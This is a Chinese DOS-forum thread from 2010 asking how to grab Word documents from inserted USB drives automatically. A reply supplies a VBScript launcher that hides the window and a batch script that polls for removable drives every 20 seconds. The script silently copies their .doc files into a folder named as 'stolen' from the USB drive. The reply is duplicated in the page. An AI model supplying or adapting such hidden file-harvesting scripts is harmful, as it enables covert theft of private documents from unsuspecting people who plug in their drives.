1假设优盘的盘符是G
2优盘一旦插进去自动将里面的所有word文档复制到一个文件夹里面
3没有优盘插进去时什么也不做
2优盘一旦插进去自动将里面的所有word文档复制到一个文件夹里面
3没有优盘插进去时什么也不做
中国DOS联盟
联盟域名：www.cn-dos.net 论坛域名：www.cn-dos.net/forum
DOS，代表着自由开放与发展，我们努力起来，学习FreeDOS和Linux的自由开放与GNU精神，共同创造和发展美好的自由与GNU GPL世界吧！
中国DOS联盟论坛 » DOS批处理 & 脚本技术（批处理室） » 批处理能否自动提取优盘上的word文档
查看 1,524 回复 2
楼 主
批处理能否自动提取优盘上的word文档
发表于 2010-12-22 15:22 · 中国 河南 安阳 电信
第 2 楼
发表于 2010-12-22 23:08 · 中国 江西 九江 电信
这个好难啊。
不过给你弄了两个东东，不知道有么有用。
Set shell = Wscript.createobject("wscript.shell")
a = shell.run ("自动复制u盘东东.bat",0)
上面这个东西用记事本保存为 .vbs 格式的，取个名字叫“隐藏运行.vbs”吧，它可以让下面这个叫“自动复制u盘东东”的批处理文件隐藏运行。
@echo off
setlocal enabledelayedexpansion
for %%a in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
for /f %%h in ('fsutil fsinfo drivetype %%a:^|findstr "Removable.* 可移动"') do (
set DriveU=%%h
)
)
echo.!DriveU!
md E:\u盘那偷来的
if exist !DriveU! copy !DriveU!\*.doc E:\u盘那偷来的>nul 2>nul
ping 127.1 -n 20 >nul
start 隐藏运行.vbs
exit
这个东东了就保存为 .bat取个名字叫“自动复制u盘东东.bat” 就可以，它会自动查找u盘并且每20十秒就会搜索一遍u盘，复制以后是存在E盘的u盘那偷来的文件夹里面。
这两个东西结合起来应该可以解决问题。不过有个缺陷，已经复制过的doc文件它还会再复制。如果你能改进一下的话就好了，能的话告诉我一声哈。
[ Last edited by wangyang331407 on 2010-12-22 at 23:10 ]
不过给你弄了两个东东，不知道有么有用。
Set shell = Wscript.createobject("wscript.shell")
a = shell.run ("自动复制u盘东东.bat",0)
上面这个东西用记事本保存为 .vbs 格式的，取个名字叫“隐藏运行.vbs”吧，它可以让下面这个叫“自动复制u盘东东”的批处理文件隐藏运行。
@echo off
setlocal enabledelayedexpansion
for %%a in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
for /f %%h in ('fsutil fsinfo drivetype %%a:^|findstr "Removable.* 可移动"') do (
set DriveU=%%h
)
)
echo.!DriveU!
md E:\u盘那偷来的
if exist !DriveU! copy !DriveU!\*.doc E:\u盘那偷来的>nul 2>nul
ping 127.1 -n 20 >nul
start 隐藏运行.vbs
exit
这个东东了就保存为 .bat取个名字叫“自动复制u盘东东.bat” 就可以，它会自动查找u盘并且每20十秒就会搜索一遍u盘，复制以后是存在E盘的u盘那偷来的文件夹里面。
这两个东西结合起来应该可以解决问题。不过有个缺陷，已经复制过的doc文件它还会再复制。如果你能改进一下的话就好了，能的话告诉我一声哈。
[ Last edited by wangyang331407 on 2010-12-22 at 23:10 ]
第 3 楼
发表于 2010-12-23 14:28 · 中国 河南 安阳 电信
子文件不能复制啊
论坛跳转: